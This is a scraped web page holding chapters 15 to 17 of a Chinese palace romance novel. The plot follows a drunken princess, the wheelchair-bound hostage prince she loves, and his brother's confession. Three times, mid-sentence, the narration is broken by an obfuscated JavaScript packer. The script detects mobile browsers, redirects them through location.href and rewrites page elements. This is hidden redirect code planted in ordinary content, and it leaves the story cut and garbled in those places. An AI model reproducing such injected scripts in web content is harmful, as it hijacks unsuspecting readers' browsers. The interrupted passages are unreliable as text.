宋砚辞眉心紧拧,宽大的袖摆将人拢进怀里,语气低低的温柔诱哄: “好了,乖不哭了。” 男人温热掌心一下一下轻拍在她的背上,“我在这,不会有人欺负你了。” 过了好久,姜稚月才缓过来。 她揉了揉红肿的眼睛看他,水汪汪的眸中是不加掩饰的热切。 宋砚辞动作一滞,错开她的目光,一手搂着她的腰防止她掉下来,一手转动轮椅朝外面行去: “好了,没事了,我送公主回宫可好……” 男人的手才刚触碰上门扇,也不知道哪个字眼刺激了姜稚月,她突然从他怀里面将头抬起,同时手上用力一推。 “砰”的一声,门又被她重重推合住。 巨大的风力掀得窗扇猛地一晃,烛火被熄灭,屋中刹那陷入一片黑暗。 只有窗前一点朦胧月色若有似无地罩在彼此身上。 宋砚辞眉心轻蹙,“公主这是何意……” “我、我不回宫……” 方才姜稚月趴在他怀中尚未察觉,此刻她一开口说话,宋砚辞这才察觉到她浑身酒味儿。 他眉心拧得更紧,问道: “公主怎么喝了这么多酒?不回宫,可是要去二公主处?” 小公主精致粉白的脸颊上染着一抹酡红,薄雾迷蒙的眸中透着几分迷茫,鲜红水润的唇微微一嘟,娇愠出声: ”我、我要去雪竹苑,我今年的梅花还没修剪呢!“ 说着,已经将搂在他腰上的手松开,转而绵软无力的挂在了他的脖颈上。 “公主……” 不及宋砚辞开口,姜稚月噘着嘴揉了揉眼睛,似醉得坐不住了一般,直接扑进了他怀里。 她身量娇小,即便被宋砚辞抱着坐直时,头顶也只勉强到他的下巴,宋砚辞的肩臂将她严严实实包裹在里面还绰绰有余。 此刻软绵绵的小身子往下一趴,便陷进了他胸膛里,偏双臂还吊在他颈后,原本的柳腰显得更细更软。 少女挨过来时的柔软触感猝不及防,宋砚辞身子一僵,呼吸不受控制地滞住。 “公主……阿月乖,先起来。” 男人再开口时,嗓音已经哑得不像话。 “我不!” 醉意和困意慢慢上涌,姜稚月此刻头脑昏昏沉沉,说话都瓮声瓮气地不清楚,但还记着她在生眼前这个人的气。 她嘤咛一声,然后像只炸毛的小猫般猛地冲上去,一口咬在了男人的脖颈处。 勉强被压在喉咙里的闷哼瞬间溢出口。 “姜稚月!” 宋砚辞眸色幽深,使了力将她拉起来,她的小虎牙在他脖颈上划出一条极细的血线。 他定定望着身前之人,低沉警告: “别犯糊涂!你看清楚我是谁!” 姜稚月闻言懵了一下,眼神飘飘然地看了他半天,忽然嘴一瘪就开始掉小珍珠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋砚辞眉心紧锁,刚要推她,耳畔听见隐隐的哭声,小姑娘的身体隐忍地抽搐,克制着不肯让哭声放肆。 冰凉微咸的泪顺着两人交缠在一起唇瓣,晕进宋砚辞口中。 许是酒精放大了情绪,她的小手捧着他的脸颊,在他唇上毫无章法地厮磨啃咬,每一次都充斥着极致的埋怨和委屈。 像是在存心报复他一般。 宋砚辞额头青筋暴起,喉结重重滚了一下,手在虚空停了半晌,闭了闭眼。 最后将掌心缓缓收紧放了下去。 他闭着眼任她发泄,呼吸难以遏制地不断加重,冷白的颈上沾了薄汗的青筋鼓跳得厉害。 男人胳膊渐渐收紧,身子无声贴合,指腹被按到发白。 粗重的喘息和水渍声搅乱了夜色,酒精和冷冽的香气久久弥漫在急喘的呼吸中。 忽然,唇上的刺痛令宋砚辞微微皱眉,血腥味儿很快在两个人的口腔里蔓延开来。 姜稚月唇畔溢出嘤咛,颦着眉不耐地去吸吮宋砚辞下唇被她咬破的伤口。 疼痛伴随着酥麻袭来。 宋砚辞猛地伸手按在她的腰上,仰颈乱了呼吸。 他从未这样过。 掌心里温度炽热,喉结不住地在颤。 眼角红痣妖冶似血珠。 男人暗流涌动的视线越过暗昧夜色,不受控制落在她嫣红的唇上,又狼狈地侧过眸去,骨节攥到发白。 小姑娘似是醉得更深了,根本不知道她自己在做些什么。 宋砚辞一把摁住少女乱动的小手,黑暗中压抑着喘息良久,方才哑声开口: “公主倘若发泄够了……我送公主回去。” 他说话时,喉结滚动,上面的薄汗在月色下格外清晰。 15. 第 15 章 太子赶到的时候,宋砚辞正抱着姜稚月从茶缘酒肆出来。 两个同样姿容绝色的男人,一站一坐对面相对。 酒肆门里溢出的橙黄色暖光和清冷月色,在二人之间划出一道泾渭分明的线来。 太子不发一言上前,将已经睡熟的姜稚月抱了过来,视线不经意略过宋砚辞唇上时,顿了一下。 “你来得正好,梁邵此刻被褚屹关押在一楼东间,你的人来了,我的人也可回去休息了。” 宋砚辞的声音平稳而淡然,脸上依旧带着浅淡的温和笑意,看不出半点异常。 “以后不要再与阿月有瓜葛。” “今日是我救了她。” 太子语气讽刺,“要不是你,她会醉酒出现在这里?” 见宋砚辞不语,太子冷笑一声,抱着姜稚月转身离开。 刚走出两步,身后传来宋砚辞喑哑的声音: “你是阿月的兄长,我亦将她视作妹妹。” 太子脚步一顿,在原地站了站,忽然回身,一双眸沉沉盯着他,语气犀利: “她的兄长不会是你这种克父弑母之人。” 像是一声惊雷重重砸在空阒的黑夜里。 宋砚辞下意识抬眸,满眼不可思议地看了眼姜稚月,随即又突然反应过来什么,将视线转到太子身上。 “你查我?” 太子挑眉,“你怎么不怀疑是阿月告诉我的。” 宋砚辞别开视线,嗓音微微发涩: “她不会。” 太子轻笑一声,语气慢了下来: “你可知,你是质子,我本可以直接向父皇求一道圣旨给你和阿月赐婚的。” 说罢,不等宋砚辞反应,重新抱着人转身走向一旁的东宫马车。 身后沉默良久,宋砚辞语气滞涩: “她腕上有伤,好生照料。” 太子的马车前脚刚走,褚屹就上前来回禀: “人未找到,但听咱们的人说,昭华公主曾在那个时间段在甜水巷出现过,咱们可要问问公主?” 宋砚辞在听他提及姜稚月时,眼皮轻颤了一下,沉默良久,转着轮椅行至清冷月色下。 “不必了。” - 姜稚月第二日醒来的时候,脑袋还昏昏沉沉的。 一睁眼,二姐那张放大的脸便出现在眼前。 她呀的惊呼了一声,退开一步坐了起来,“二、二姐,你怎么……” 话说到一半,姜稚月的脑中忽然朦胧地闪现出昨晚碰到梁邵那一幕…… 她眉心一抽,再次抬眸确认。 果然见自己二姐黑眼圈浓重,眼睛红肿,满脸悲戚,愁云惨淡不止。 姜稚月抿了抿唇,轻轻勾住姜宜宁的手指,觑着她的脸色,放低了声音安抚: “二姐,你别太难过了,其实……” “阿月!” 姜稚月话未说完,姜宜宁忽然神情严肃地打断她。 姜稚月下意识端正坐好,认真听她开口道: “但是阿月,待会儿恐怕会是你更难过……” “没事二姐,没了梁邵,咱们大不了重找个驸……?嗯?” 姜稚月话都说了一大半,宿醉后迟钝的思绪才终于跟上。 她瞧着姜宜宁,眨了眨眼,茫然道: “什么意思?” 姜宜宁对着姜稚月回了个眨眼,然后缓缓侧过身,让出了站在帐外一脸阴沉的太子,“意思,就是这么个意思。” 姜稚月:“……” 还没彻底清醒的小女郎被连拖带拽弄出被窝。 锦葵大气都不敢出地在太子眼皮子底下伺候她洗漱穿衣,之后脚底抹油,带着殿中众人十分没有义气地逃了出去。 待所有人一走,太子就压着姜稚月坐到了桌前,跟那本择婿的册子大眼瞪小眼儿。 “听说你不是要选上十个八个不重样儿么?孤已经命人将那本册子重新整理分门别类整理了一遍,高的矮的胖的瘦的,文状元武状元都有。” 他把笔往她手里一塞,“选!” 姜稚月正吸着鼻涕装可怜,被他最后一个字吓得一个激灵差点儿跳了起来。 这还是太子哥哥第一次对她发这么大的火。 她往旁边姜宜宁脸上投去求救的眼神。 “你别看她!她昨夜都已经抄了一夜的书了!” 太子一顿,回头掐着姜稚月的脸,“挑你的!挑不出十个八个来,今日别出这扇门!” 今日春光正好,鸟语花香。 姜稚月无声地看了眼窗外的和煦暖阳,捂着胸口假意咳了几声后,两眼一翻倒在了太子身上。 “……” 打从那夜宿醉归来太子哥哥大发雷霆之后,姜稚月和姜宜宁就被禁足在了璋华殿。 姜稚月让人打听了一下,庆幸自己那夜惊世骇俗之语并未连累石嬷嬷,这才放下心来怡然自得地开始了自己的禁足生活。 “所以阿姊你那天眼睛红肿是因为抄了一夜的《女戒》抄的?” “嗯。” 姜宜宁放下一页纸,看了看姜稚月写的,指着几个字,“你这几行抄得不行,到时候太子肯定会让你重写的。” 姜稚月撇撇嘴,在纸的一角画了一只小乌龟,“放心吧,我已经让锦葵去搬救兵了!” 姜宜宁:“薛凝吗?” “嗯。阿姐当真不伤心么?” 姜宜宁手底下动作一顿,似乎当真认真思索了一下,最后肯定地摇了摇头: “我与他成婚前本就没见过几面,婚后也不过一年,他又总是回梁府居住,聚少离多,还当真没多少感情,源哥儿我也能自己养,只是可怜梁老夫人,她待我确是真心。” “再说了,”姜宜宁愧疚地摸了下姜稚月手腕上的一圈青紫痕迹,“他都要害死我妹妹了,我还能替他伤心?” 姜稚月也跟着摸了摸自己的手腕,若有所思。 她总觉得自己手腕上的印子不是梁邵弄的,他当时勒了她的脖子她是记得的,但直到宋砚辞出现,他都没碰过她手腕。 可之后自己的手腕是怎么被攥到青紫,还有腰上又疼又紫的痕迹是怎么回事儿,她是一点儿印象也没有了。 只记得自己扑进宋砚辞怀里又哭又笑了一场,就睡不省人事了。 姜稚月摇了摇脑袋,咬着笔杆转了话题: “那二姐姐今后打算怎么办?” 一听这话姜宜宁来了精神,放下笔拉住她的手,神采奕奕道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279265|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我倒是有个注意,这一年多我公主府也攒下了一些私财,我早就看中一桩药材生意,想投些银子,再找个人帮我看顾。” “可是二姐不懂经商,别被人骗了……” “这我都想好了,”姜宜宁胸有成竹,“董阁老的嫡孙,是个私底下爱钻研营商的,回头我出银子他出人,我俩可以合作一番。” “董钰?” 姜稚月回想了一下,脑海中隐约有个竹青色的清瘦身影,总是板板正正举着一卷书册,像个老学究一样。 却不想这种人私底下,竟是个爱好经商的。 “我记得从前咱们一起在国子监进学过?说起来,他和我还是同一天生辰,比二姐小两岁呢。” 说到这,姜稚月恍然,“哦,我说呢,他从前一见二姐便脸红,二姐这是……” “别瞎说!” 姜宜宁脸上泛起一抹不自然,佯装生气扑过来堵姜稚月的嘴,姐妹俩笑闹成一团。 闹了一场后,姜稚月气喘吁吁地坐回去,拿着笔发了会儿呆。 似是又想到了什么,小脸上满是惆怅,幽幽叹了口气。 下午的时候,太子果然派人来解了两人的禁足,姜宜宁念着源哥儿,也没多留回了公主府。 姜稚月又开始了自己百无聊赖的日子。 而雪竹苑那边,自打宋砚辞那晚发现了自己母亲的行踪后,这几日都在四处探查关于她的消息。 褚屹低着头,将自己探查到的消息一一汇报。 “因是在姜国皇城底下,咱们的人只能秘密行事,受限不少,目前还未有头绪……现在看来,也就只有昭华公主那里是唯一的线索了。” 褚屹不敢抬头看一眼,特别是怕自己会不由自主盯着主子唇上那个伤口看。 那夜他处理完梁邵,匆匆赶回二楼的时候,恰好看见主子抱着熟睡的昭华公主从房间里出来。 只一眼,他就定在了原地。 那样的宋砚辞是他从未见过的。 白衣胜雪,霜襟清骨,若是离远看,还是同平时那般清隽翩然有如谪仙。 但若仔细看去,男人如玉的面庞津着薄汗,双眸中潮红潋滟,眼角那颗殷红泪痣更似妖孽般,毁掉了他神色中唯一的清冷自持。 整个人隐隐透出尚未完全褪去的情欲意味。 而这一切,却都不及那红唇上被咬破的一点痕迹惹眼。 思及此,褚屹到底没忍住抬头看了一眼,恰好对上宋砚辞意味不明的目光。 他匆忙又把头低下,继续回禀道: “之前那个沈望,按照殿下的意思送到兰漪妓馆后,果然有人来接应,顺着这条线,我们摸出了大皇子的一条暗线,如今我们的人正按照殿下的指示将消息传到了陛下耳中——” 褚屹顿了顿,“大皇子怕是被陛下怀疑了。” 对面男人手指轻搭在轮椅上敲了两下,似是早就知道会这般发展一样,并未表现出过多的情绪。 屋中一时陷入了持久的沉默中。 久到褚屹以为他不会再回话,正打算退下去的时候,才听见宋砚辞似低喃般开口: “那就给宫里去一封帖子,若是……若是昭华公主肯赏脸,就约公主明日午后在兰芳园一叙。” 16. 第 16 章 姜稚月刚被太子解除禁足的第二日,就有两封帖子同时递到了她的璋华殿。 她左手托腮,右手在桌上飞快划着圈圈,盯着眼前两封长得一模一样的请帖看了好半天。 最后长叹了口气,将那两封请帖全部收了起来,又拿起一旁的话本食不知味地看了起来。 锦葵路过的时候往那两封请帖上瞄了一眼。 纸张和颜色相同的请帖上。 一封请帖字迹清隽工整,极短的两行字说明时间地点。 而另一封字迹笔走龙蛇,洋洋洒洒直到快写不下了才堪堪收了尾。 她悄悄睨了姜稚月一眼,又瞧了眼外面的天色,放下托盘取了个匣子过来,笑道: “公主若是无趣,可以试试昨日薛小姐让太子殿下送来的胭脂呀。” 她从匣子里取出一个小瓶,“薛小姐送来的这瓶‘百花春’,据说和着蔻丹一起敷在指甲上,能让指甲变得莹润,像贝壳一样好看呢!” 这两日姜稚月只顾着心里烦,早忘了这茬。 听说还有“百花春”这么神奇的东西,眼前一亮,精神头一下子好了起来: “真这么神奇?快、快拿来让我试试!” 锦葵在心里暗笑,到底是个爱美的小女郎,年纪又轻,情绪来得快去得也快。 好哄得很。 她弯唇将东西拿过去,又寻了蔻丹过来替她敷上。 敷指甲的功夫,姜稚月也没闲着。 净了把脸便坐到妆台前,不紧不慢地捣鼓起了她那些胭脂水粉。 描眉擦粉画花钿,连日来的阴霾一扫而空,甚至还哼起了小曲儿。 足足倒腾了有将近两个时辰,姜稚月才心满意足地放下螺子黛,盯着镜子里的自己左右转了转,越瞧越对自己这张脸蛋满意地不得了。 敷在指甲上的蔻丹也好了,锦葵替她取下来。 姜稚月“呀”了一声,忍不住举起手来走到窗边,对着阳光看了又看,末了又朝窗外瞅了瞅。 锦葵如何能不知她所想,忍俊不禁道: “公主好不容易被解了禁足,今日又化了这般漂亮的妆,若是不趁着春色正好,出宫去人多处晃一晃,岂不可惜?” 锦葵的话还未说完,姜稚月的唇角就已经快压不住了。 她娇嗔地看了锦葵一眼,“就你话多。” 说完,还是没忍住,视线重新投在那两封请帖上看了看,手停在工整的那封上犹豫了片刻,最后拿起其中笔走龙蛇的那封。 “呐,去找他好了。” 春狩那日大部队都班师回朝了,剩下些意犹未尽的年轻小辈被皇帝特许可以多玩几日。 宋知凌本不想留。 奈何经不住自己交的那帮朋友的劝,最后被迫留了下来。 昨日夜里他才从围场回了京,今日一早便迫不及待约了姜稚月出来。 宋知凌在湖边等了快一个时辰,申时末的时候,那位金尊玉贵的小公主才姗姗来迟。 姜稚月用帕子轻轻遮住上扬的唇角,十分满意从对面那人眼中看到的惊艳。 她走过去戳了戳宋知凌的肩膀,眼睛笑弯成狐狸,傲娇的小尾巴翘上了天: “怎么啦?看傻了?” 宋知凌如梦初醒,清了清嗓子,指着湖中心的三层八角亭,故作镇定道: “走,带你去个好地方。” …… 兰芳园的后院有一片隐在花木间的阁楼,比前面环境还要雅致得多,最受贵人追捧。 宋砚辞俯下身去,伸手轻碰了碰一朵花粉嫩的花苞,漫不经心问: “可是看着公主身边的婢女亲自收的请帖?” 男人的手白皙修长,骨肉匀净,落在艳红的花瓣上有种惊心动魄的冲击力。 褚屹看向他的手,“是公主身边那个名唤锦葵的丫鬟收的。” “唔。” 宋砚辞坐直身子,捻着指腹看了看天色,眉心微不可察地蹙了起来。 他转头看了眼桌上镶着宝石的小巧袖箭,敛眸慢条斯理擦着手。 良久,慢慢收紧帕子,眼帘微掀,意味不明地瞧向方才那朵娇艳的花苞。 “去查一查四殿下今日的行踪。” …… 姜稚月怎么也没想到,宋知凌口中的“好地方”是湖心亭的房顶。 她和宋知凌寻了处平坦的地方坐下,推了推他,语气娇得不行: “你压到我的裙子了。” 宋知凌笑着挪开,上下打量了她半天: “那夜之事我都听说了,幸亏太子殿下赶去得快,阿月也太不注意了,大晚上的跑那种地方去喝茶做什么。” 姜稚月正理着被风吹散的裙摆,闻言动作一顿,狐疑地往宋知凌脸上瞅了一眼。 见他神色自然,不似在胡说的样子,心中便明白过来,这事定是太子哥哥和宋砚辞都瞒住了他。 她抿了抿唇,胡乱打了个哈哈敷衍了过去。 湖心亭房顶的景色的确如宋知凌所说,绝无仅有。 很多从前在亭子三层都看不到的景色尽收眼底,且在屋顶视野宽阔,傍晚的风一吹,心都跟着荡漾。 姜稚月学着宋知凌的样子,手撑在身后,侧头看他。 男人唇角微勾目视着远方,夕阳打在他俊逸的侧脸,覆上了一层柔光。 她似乎从来就不曾认真看过宋知凌。 她的眼睛总是在跟随着宋砚辞的身影,从未发觉,原来在不知不觉间,那个满身张扬的少年也变得沉稳了许多。 “宋知凌……” 姜稚月回头看着远处河面上荡漾的夕阳,低低唤他。 “嗯?” “你有没有想过,自己将来的妻子,会是什么模样?” 少女的声音糯糯的,随着晚风飘散。 问出许久,姜稚月都未等来宋知凌的回答,她心下诧异,忍不住又回头看向他。 不知何时,男人的目光早就定在了她身上。 他看着她,夕阳浸染的眸中带着莫名深意。 姜稚月心里猛地一跳,那些曾经未曾细想过的事情如今想来,都有了答案。 “阿月你……还喜欢我哥么?” 宋知凌凝视着她,强硬的视线不容忽视。 姜稚月抿唇错开视线,挽着鬓发慌忙起身: “天色不早了,我要回……” “阿月!” 宋知凌见她要走,在身后叫她。 姜稚月心里更慌了,脚底下步子一乱,一不小心绊到了裙摆,眼瞅着就往房顶下面摔去。 "阿月!!” 宋知凌声音嘶哑,飞扑过来,好在堪堪拽住了姜稚月的袖口将人拉了回来,却因为力气过大,两人一道摔倒在了方才坐的地方。 “啊!” 姜稚月惊呼出声,再睁眼自己已经被宋知凌压在身下,他的手还在脑后护着自己。 她心脏忽然在一瞬间跳得极快,推着他的胸膛磕绊道: “快、快起来,我、你……” “阿月。” 宋知凌心有余悸地微喘,却没放开她,重重吞咽了两下,直视着她的眼睛: “阿月,我心悦之人是……” “云笙!” 姜稚月出声打断他,水蒙蒙的眼底满是惊慌,“不许说!你……唔!” 姜稚月盯着眼前骤然放大的俊颜,吓得猛然瞪大了眼睛,手忙脚乱地推他。 拉扯间一不小心,宋知凌就咬在了姜稚月的唇上。 虽然没破,也红了一小块儿。 宋知凌急忙松开她,慌乱道: “阿月我……” 姜稚月连着退了好几下,抬手对 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姜稚月定了定神,大大方方地走过去,笑道: “执玉哥哥,真巧啊。” 天边最后一抹夕阳也落了下去,余烬染红远处的天际线。 远处酒肆茶楼灯火辉煌,小摊子上的锅灶起了热汽,贩夫走卒走街串巷的吆喝声,儿童的玩闹声,以及身后湖中画舫咿咿呀呀的吟唱声悠悠传来。 男人坐在轮椅上,唇角挂着温润的笑意,琥珀色瞳眸中映着熠熠灯火,眸底深得辨不清神色。 他定定凝视了她许久,淡淡开口: “我约了你。” 听见他这话,姜稚月心中的心虚更甚。 摸了摸小鼻尖,小声嘟囔: “今日是云笙约我在先,我们几日前在围场时就约好了,对不对,云笙?” 说罢,她还用胳膊肘捅了捅身后之人。 从前不管是面对宋砚辞还是面对太子哥哥,只要她扯谎需要人证的时候,宋知凌绝对是第一个应声的。 结果这次,姜稚月捅了他好几次都不见他答话,心中不禁疑惑地侧头看去。 男人唇角紧绷,眼神微眯,正死死盯着宋砚辞,全然不似方才追在她身后时那副嬉笑讨好的模样。 姜稚月眉心跳了跳,吞咽了一下重新看向宋砚辞,对他尴尬地扯了扯唇角。 “初春蝇虫多,哥这嘴唇上莫不是被蚊虫叮咬了一下,今后天气回转,可得更注意才是。” 宋知凌没回答她的话。 姜稚月有些没头没脑,随着他的话下意识朝宋砚辞的唇上看去。 果然见他下唇处有个小伤疤,不过看样子已经结痂了。 一看到他唇上的疤,姜稚月又想起自己方才被宋知凌咬过的地方。 趁着没人看她,悄悄将唇抿了起来。 对面宋砚辞微不可察地眯了眯眼,幽深的视线似是定在她的唇上,话却是对宋知凌说的: “云笙若是与阿月说完了,可否让我同她说几句?” 姜稚月下意识就要拒绝,才刚出声,宋砚辞目光对上她的,语气像是染了湖面潮湿的风: “关于梁邵那夜的事。” 姜稚月不敢与他这种晦涩又压人的目光对视,垂眸点了点头,“好。” 她的乖顺似乎令他十分愉悦。 因为姜稚月在他转身的时候,听见了一声自喉咙里溢出的轻笑。 很轻很好听,像玉石相击,即便在这人声嘈杂的湖畔,姜稚月仍然将那笑声听进了耳中。 她回头,神色复杂地看了宋知凌一眼。 终是抿了抿唇,不发一言地转身离开,上了宋砚辞的马车。 17. 第 17 章 男人的马车中不算华丽。 最里面简单的置着一张软榻,榻上放着一张梨花木方几,软榻的两侧靠近窗户下面是两张与软榻固定在一起的雕花条椅。 姜稚月上去的时候,宋砚辞已经由常乐安顿好,正坐在榻上往香炉中添置香料。 青白色烟丝袅袅如雾,散发出清冷的雪松香。 同宋砚辞身上的一样。 姜稚月上来后,犹豫了一下,寻了个离他较远的位置坐下,拈着裙子稍显局促。 宋砚辞往她手上瞧了一眼,稍扬了声对外面驾车的常乐吩咐: “去天香酒楼。” 瞧见姜稚月诧异地看他,他叹道: “公主与云笙在一起时,怕是未来得及用晚膳。” 姜稚月脸色微微一红,轻点了下头算作回答,然后将脑袋微微埋进了胸前,摆弄眼前桌帘的穗子。 她感觉宋砚辞的目光落在她手中动作上良久,之后听见他似是不经意问道: “手腕好了么?” 姜稚月摆弄穗子的动作一顿,抬眸诧异地看向他,疑惑道: “你怎么知道我手腕有伤?” 她看了下自己的袖摆。 如今天气尚寒,她的衣裳穿得严实,即便抬手间也看不见腕上的青紫。 她眼珠子一转,难不成…… 还未想个明白,姜稚月就听男人忽然笑了一声。 她急忙抬眸看去,就见宋砚辞审视的目光紧紧凝视着她的眼睛,不紧不慢又意味深长地问: “公主全都……不记得了?” 姜稚月在他这种目光的威压下,心里直打鼓,仔细回忆了一下那夜浑浑噩噩的记忆,硬着头皮摇了摇头,老老实实回答: “不记得了。” 话音落下,马车里瞬间沉默了下来。 她没敢抬头,但依然能感觉到,那道如有实质的目光压在自己头顶。 不知为何,她今日面对宋砚辞的目光时有些心虚,总觉得自己忘掉的那些事,本不该被忘掉。 渐渐的,车外街道上的喧嚣声和马车的辘辘声全都消失不见,姜稚月的耳中全剩下自己一下重过一下的心跳声。 她口舌干涩,忍不住攥紧手心吞咽了一下。 下一瞬眼前便递来一杯茶。 姜稚月的目光顺着那只如白玉般漂亮修长的手,一路看向男人的脸,对他扯了扯唇角,道了声谢。 才刚从他手中接过茶杯喝了一口,男人猝不及防地声音再度传来: “宋知凌……” 他的目光落在她被茶水润湿的唇上,眯了眯眼,“他欺负你了么?” “咳……咳咳……” 他才刚问完,面前的小女郎就似被吓着了一样,捂着唇剧烈地咳嗽起来。 宋砚辞蹙了蹙眉,将她手中的茶杯接过去,替她拍着背顺气。 姜稚月一连咳了好几声,才轻喘着停了下来。 她清了清嗓子,重新坐端,脸颊微微发烫,心虚地否认道: “没、没有,我们只是在亭子里看了看风景。” 宋砚辞手指轻点在桌上,发出哒哒的声音,“唔”了一声,温声笑道: “只是看了看风景么?” “还、还……” 姜稚月支吾了半天,没了声音。 她若是说还说了会儿话,那宋砚辞定要问她说了什么,所以她干脆闭了嘴不出声。 宋砚辞似是也没准备等她将话说完,她刚一停下,他就接着道: “我在兰芳园等了你两个时辰。” 姜稚月诧异抬眸,对上他平静的目光,她又匆忙低下头去: “可我也没说答应,要去见你……” 她越说越心虚,声音慢慢小了下来。 对面宋砚辞似乎被她给气笑了,胸腔颤了颤,叹气道: “手拿来。” 男人伸出手,骨廓修长匀亭,瓷白的肌肤下隐约可见薄茧。 “嗯?” 姜稚月不解,盯着他的掌心颦起了眉。 男人耐心解释: “我这里有化瘀的膏药,给你抹些。” “不用了!” 姜稚月闻言像是被吓了一跳,非但没将自己的手伸出去,反倒全都背在了身后。 末了,似是犹嫌不够一般,又往后悄悄挪了挪屁股。 宋砚辞如何能瞧不出她的疏远,手在原地僵了片刻,忽然轻嗤一声,对着她欺下身来。 姜稚月猛地瞪大双眸,僵硬的身体写满了抗拒。 随着他的靠近,她的呼吸越来越急促。 好在宋砚辞适时停在了她眼前一臂的距离,盯着她的眼睛,再次一字一顿道: “手,拿来。” 姜稚月感觉他滚烫的气息,缓慢而强势地将自己包裹、侵吞,紧张地吞咽了一下。 到底犹犹豫豫地将手伸了出去。 宋砚辞轻轻将她袖摆向上卷起,微凉的指腹无意间擦过她腕上薄而敏感的肌肤,姜稚月猛地一颤,眼睫飞快眨了眨。 “疼了?” 宋砚辞停下来看她。 男人突然压过来的目光让姜稚月呼吸一紧,慌忙摇了摇头: “没、没有。” 男人略带薄茧的指腹像羽毛,似有若无地擦过她手腕内侧的脉搏。 姜稚月不自觉竭力压低呼吸,好似这般就不会被他察觉自己跳得异常激烈的脉搏一般。 冰凉的药膏被宋砚辞一点一点推开在她手腕的青紫处,她抿着唇,略有些尴尬地看着男人给他上药,在换手的间隙悄悄抬眸觑了他一眼。 宋砚辞面容倒算得上是平静,眼睫微微垂着,神情专注。 他不知什么时候开始,离自己很近,近到姜稚月能看见男人薄薄的眼皮上青色的筋络。 她盯着他看了半晌,犹豫了一下,忽然问道: “那晚……那晚我都说了什么胡言乱语,还是做了什么不该做的事情么?” 宋砚辞给她上药的动作一顿,没回答。 等了片刻,他将她的袖口拉下来,擦了擦手,从一旁的抽屉中拿出一把精巧的袖箭递过来。 姜稚月一愣,“给我的?” “偶然得来的,觉得很适合你,公主留着防身吧。” 姜稚月没接,摇了摇头拒绝道: “不用了,其实方才,云笙也送了我一把和这个差不多的,我……够用了。” 既然那日他拒绝了她,她也就不想再要他的东西。 然而宋砚辞这次却没将东西收回。 他神色不明地定定瞧了她半晌,忽然笑道: “公主收着吧,就当是我提前送给公主的生辰贺礼了。” 姜稚月没回答,心里有些乱。 宋砚辞低头替她将袖箭装好,头也不抬随意问道: “公主择婿一事,可有眉目了?” 姜稚月闻言猛地回神,飞快扫了他一眼,摇了摇头。 意识到他正低头摆弄袖箭,可能看不到她的动作,她又小声补充了一句: “哥哥正在替我擢选。” 犹豫了一瞬,姜稚月忽然抬头,眼神熠熠地看向宋砚辞: “倘若——倘若你现下说一句,只要说一句让我不要择婿,我便从此谁都不再相看了。” 宋砚辞动作一顿: “好了——” 他将袖箭装好给她,没再接着方才的话题继续下去,反而是问: “公主那夜去茶缘酒肆,是为了追查梁邵一事么?” 姜稚月没想到他突然将话题转到了这件事上,忽然想起方才上车前他似乎就说过有关于梁邵那夜之事要问自己,这才反应过来他今日约自己的目的。 她的心里微微发涩,但许是早就料到会有这样的结果,又很快平复下来。 想了想还是决定将自己追踪那个女人一事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279267|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐瞒下来。 “嗯,之前我有次从二姐府上回来的时候,偶遇梁邵,便察觉出他身上有股陌生的脂粉味,那日碰巧瞧见他与一个女人在一起……只是没想到他会对我痛下杀手。” “公主以为,他为何要杀你?” 说到这里,姜稚月来了精神,她坐正了些,歪着脑袋沉思了一下,试探道: “兴许是那茶缘酒肆有问题,或许牵扯到前朝,他觉得我撞破了他的秘密?否则按照他养外室这件事,倒不必铤而走险去杀害当朝公主。” 宋砚辞听她说完,语气带笑: “公主聪慧。那夜的事发生完没过两日,太子便清剿了吴王一党,查没了三个铁矿,两个金矿。” “所以梁邵真的与那吴王勾结,意图谋反?!” 姜稚月诧异不已,震惊地抬头,一眼撞进宋砚辞含笑的眸中。 她脸颊一热,又慌乱地移开视线。 “嗯——” 男人压着眼帘看她,“只是梁邵的外室,那夜趁乱跑了。” “那外室应当不足畏惧,更何况太子哥哥应当会继续追查的。” 姜稚月觉得有些闷,掀开了一角车帘,让外面新鲜的冷风灌进来。 两人一时沉默下来,谁都没说话。 马车很快到了地方停下来。 宋砚辞却没急着动作,反而睁眼漫不经心地凝视着她。 少女微微低头,白皙修长的细颈线条优美,臂侧的弧度令人难以忽略。 她不知在想什么,双手轻轻绞在一起,玉颊透粉,唇瓣泅红,纤长的眼睫毛颇显无辜地轻颤着。 宋砚辞眸光渐黯,未收束的领口,隐约看见微耸的喉结。 他眯了眯眼,眼神审视: “那夜之事,公主当真不记得了?” 姜稚月放下车帘,也看向他: “我应当记得么?” 宋砚辞轻笑,好看的眉眼间蓄满了深意。 突然,车外的马不知被何处窜出的小野猫惊了一下,一阵嘶鸣后马车剧烈晃动了起来。 宋砚辞猛地将人捞过来,护进怀中。 姜稚月小脸煞白,下意识紧紧抱住男人的腰。 不知过了多久,待到一切平稳,她缓缓睁开双眸。 “吓到了?” 宋砚辞凝视着她的双眸,说话时嗓音微哑,低低的似能安抚人心。 